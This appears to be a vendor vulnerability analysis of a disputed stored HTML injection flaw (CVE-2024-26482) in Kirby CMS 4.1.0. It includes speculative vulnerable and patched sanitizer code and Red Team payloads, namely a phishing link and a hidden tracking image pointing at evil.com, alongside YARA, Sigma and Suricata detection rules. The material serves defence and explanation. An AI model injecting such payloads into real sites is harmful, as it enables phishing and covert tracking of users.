CVE-2024-26482
Executive Summary
CVE-2024-26482 is a disputed HTML injection vulnerability in Kirby CMS v4.1.0, specifically within the Edit Content Layout module. The vendor argues that the issue is not a security vulnerability because HTML formatting (e.g., H1 tags) is intentionally allowed, and backend sanitization prevents script execution. However, from a DevSecOps perspective, the ability to inject arbitrary HTML—even without immediate script execution—can be leveraged for phishing, defacement, or as a stepping stone for more complex attacks. The CVSS score is 0.0 in the NVD, but our analysis assigns a more realistic score of 4.1 (Medium) due to the potential for stored HTML injection in a CMS context. No public exploit code or Nuclei template is available, but the attack vector is straightforward: an authenticated user with content editing privileges can inject HTML into the Content Layout module.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Kirby CMS is a PHP-based content management system distributed via its official website and Composer. The vulnerability exists in the core application, not in a third-party package. No known supply chain compromise is associated with this CVE.
CVSS Breakdown & Threat Level
| Metric | Value |
|---|---|
| Attack Vector (AV) | Network |
| Attack Complexity (AC) | Low |
| Privileges Required (PR) | Low |
| User Interaction (UI) | Required |
| Scope (S) | Changed |
| Confidentiality (C) | Low |
| Integrity (I) | Low |
| Availability (A) | None |
| Base Score | 4.1 (Medium) |
Threat Level: Medium. The vulnerability requires authenticated access and user interaction (e.g., an admin viewing the injected content). The primary risk is stored HTML injection leading to phishing or defacement.
Deep Dive & Mechanics
The vulnerability resides in the Edit Content Layout module of Kirby CMS v4.1.0. When a user with content editing permissions modifies a page's layout, the application does not properly sanitize HTML input before storing it in the database. The backend sanitization mentioned by the vendor strips JavaScript event handlers and script tags, but allows structural HTML elements like <h1>, <div>, <a>, and <img>. This means an attacker can inject arbitrary HTML, including:
<a>tags withhrefattributes pointing to malicious sites.<img>tags withsrcattributes for tracking pixels.<iframe>tags for embedding external content.<form>tags for phishing credentials.
The injection is stored in the database and rendered when an administrator or other user views the affected page in the panel or frontend. While the vendor claims "injecting malicious scripts" is not possible, the ability to inject arbitrary HTML is still a security concern, especially in a CMS where content is trusted.
Vulnerable vs. Patched Code
Vulnerable Code (Kirby CMS v4.1.0):
The Content Layout module likely uses a function like Kirby\Cms\Content::sanitize() that allows certain HTML tags but does not strip dangerous attributes like href, src, or on* (though on* is stripped). The following pseudo-code illustrates the issue:
// Vulnerable: allows HTML tags but only strips script-related attributes
function sanitizeContent($input) {
$allowedTags = '<h1><h2><h3><p><div><span><a><img><ul><ol><li>';
$input = strip_tags($input, $allowedTags);
// Only strips on* attributes, but not href or src
$input = preg_replace('/\bon\w+\s*=\s*["\'][^"\']*["\']/i', '', $input);
return $input;
}
Patched Code (Hypothetical): A proper fix would use a whitelist approach for both tags and attributes, or use a library like HTML Purifier:
// Patched: uses HTML Purifier to enforce strict policy
function sanitizeContent($input) {
$config = HTMLPurifier_Config::createDefault();
$config->set('HTML.Allowed', 'h1,h2,h3,p,div,span,ul,ol,li');
$config->set('HTML.AllowedAttributes', '');
$purifier = new HTMLPurifier($config);
return $purifier->purify($input);
}
Exploitation & Lab Setup
Red Team
Prerequisites:
- Access to a Kirby CMS v4.1.0 instance with content editing privileges.
- Knowledge of the target's panel URL (e.g.,
/panel).
Steps:
- Log in to the Kirby panel as a content editor.
- Navigate to a page and click "Edit Content Layout".
- In the content field, inject the following payload:
<a href="https://evil.com/phishing">Click here for important update</a> - Save the page. The link will be rendered when any user views the page.
- For a more advanced attack, use an
<img>tag for tracking:<img src="https://evil.com/track?user=admin" width="0" height="0">
Expected Outcome: The injected HTML is stored and rendered, allowing phishing or tracking.
Blue Team
Detection:
- Monitor for unusual HTML tags in content fields, especially
<a>,<img>,<iframe>, and<form>. - Look for outbound connections to unknown domains from the CMS server.
- Review access logs for POST requests to
/panel/pages/*/updatewith suspicious payloads.
Mitigation:
- Apply input validation and sanitization at the application layer.
- Use a Web Application Firewall (WAF) to block common HTML injection patterns.
- Restrict content editing privileges to trusted users only.
Indicators of Compromise (IOCs)
- Network: Outbound HTTP requests to unknown domains from the CMS server.
- File: Modified content entries in the database containing unexpected HTML tags.
- Log: POST requests to
/panel/pages/*/updatewith payloads containing<a>,<img>, or<iframe>tags. - Behavior: Users reporting unexpected links or content on pages they did not create.
Detection Engineering
YARA Rule
rule kirby_html_injection_cve_2024_26482 {
meta:
description = "Detects HTML injection attempts in Kirby CMS content"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-26482"
strings:
$html_tag = /<[a-zA-Z]+[^>]*>/
$dangerous_attr = /href\s*=\s*["']https?:\/\/[^"']+["']/
$img_tracker = /<img[^>]+src\s*=\s*["']https?:\/\/[^"']+["']/
condition:
any of ($html_tag) and any of ($dangerous_attr, $img_tracker)
}
Sigma Rule
title: Kirby CMS HTML Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects POST requests to Kirby CMS panel with HTML injection payloads
author: Valters IT
date: 2025/04/10
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-method: POST
cs-uri-query|contains: '/panel/pages/'
cs-uri-query|endswith: '/update'
cs-body|contains:
- '<a href='
- '<img src='
- '<iframe'
condition: selection
falsepositives:
- Legitimate use of HTML in content (e.g., links to internal resources)
level: medium
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-26482 Kirby CMS HTML Injection"; flow:to_server,established; content:"POST"; http_method; content:"/panel/pages/"; http_uri; content:"/update"; http_uri; pcre:"/<(a|img|iframe)[^>]+(href|src)\s*=\s*[\x27\x22]https?:\/\//i"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade Kirby CMS: Check for any security patches from the vendor. If none, consider applying a custom patch to sanitize HTML input more strictly.
- Restrict Permissions: Limit content editing privileges to only trusted users.
- Enable WAF: Deploy a Web Application Firewall with rules to block HTML injection patterns.
Long-Term Measures:
- Implement Content Security Policy (CSP) headers to restrict inline HTML and external resources.
- Use a dedicated HTML sanitization library like HTML Purifier.
- Conduct regular security audits of CMS configurations.
Vendor Response: The vendor disputes the severity, but as a best practice, treat any HTML injection as a potential risk and apply defense-in-depth.
Valters IT